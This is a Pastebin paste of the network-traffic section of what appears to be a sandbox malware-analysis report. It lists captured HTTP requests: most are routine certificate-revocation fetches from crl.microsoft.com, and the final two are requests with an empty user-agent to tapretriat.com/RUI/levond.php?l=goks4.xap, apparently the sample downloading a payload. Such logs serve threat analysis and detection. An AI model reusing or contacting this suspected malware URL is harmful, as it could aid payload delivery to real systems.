  2045. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2046. "port": 80
  2047.  
  2048.  
  2049. "count": 1,
  2050. "body": "",
  2051. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2052. "user-agent": "Microsoft-CryptoAPI/6.1",
  2053. "method": "GET",
  2054. "host": "crl.microsoft.com",
  2055. "version": "1.1",
  2056. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2057. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2058. "port": 80
  2059.  
  2060.  
  2061. "count": 3,
  2062. "body": "",
  2063. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2064. "user-agent": "Microsoft-CryptoAPI/6.1",
  2065. "method": "GET",
  2066. "host": "crl.microsoft.com",
  2067. "version": "1.1",
  2068. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2069. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 16 Jul 2019 05:01:15 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2070. "port": 80
  2071.  
  2072.  
  2073. "count": 2,
  2074. "body": "",
  2075. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2076. "user-agent": "Microsoft-CryptoAPI/6.1",
  2077. "method": "GET",
  2078. "host": "crl.microsoft.com",
  2079. "version": "1.1",
  2080. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2081. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2082. "port": 80
  2083.  
  2084.  
  2085. "count": 1,
  2086. "body": "",
  2087. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2088. "user-agent": "Microsoft-CryptoAPI/6.1",
  2089. "method": "GET",
  2090. "host": "crl.microsoft.com",
  2091. "version": "1.1",
  2092. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2093. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 18 Jul 2019 05:00:49 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2094. "port": 80
  2095.  
  2096.  
  2097. "count": 1,
  2098. "body": "",
  2099. "uri": "http://tapretriat.com/RUI/levond.php?l=goks4.xap",
  2100. "user-agent": "",
  2101. "method": "GET",
  2102. "host": "tapretriat.com",
  2103. "version": "1.1",
  2104. "path": "/RUI/levond.php?l=goks4.xap",
  2105. "data": "GET /RUI/levond.php?l=goks4.xap HTTP/1.1\r\nHost: tapretriat.com\r\nConnection: Keep-Alive\r\n\r\n",
  2106. "port": 80
  2107.  
  2108.  
  2109. "count": 1,
  2110. "body": "",
  2111. "uri": "http://www.tapretriat.com/RUI/levond.php?l=goks4.xap",
  2112. "user-agent": "",
  2113. "method": "GET",
  2114. "host": "www.tapretriat.com",
  2115. "version": "1.1",
  2116. "path": "/RUI/levond.php?l=goks4.xap",
  2117. "data": "GET /RUI/levond.php?l=goks4.xap HTTP/1.1\r\nHost: www.tapretriat.com\r\nConnection: Keep-Alive\r\n\r\n",
  2118. "port": 80
  2119.  
  2120.  
  2121.  
  2122. * Network Communication - SMTP:
  2123.  
  2124. * Network Communication - Hosts:
  2125.  
  2126. * Network Communication - IRC:
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!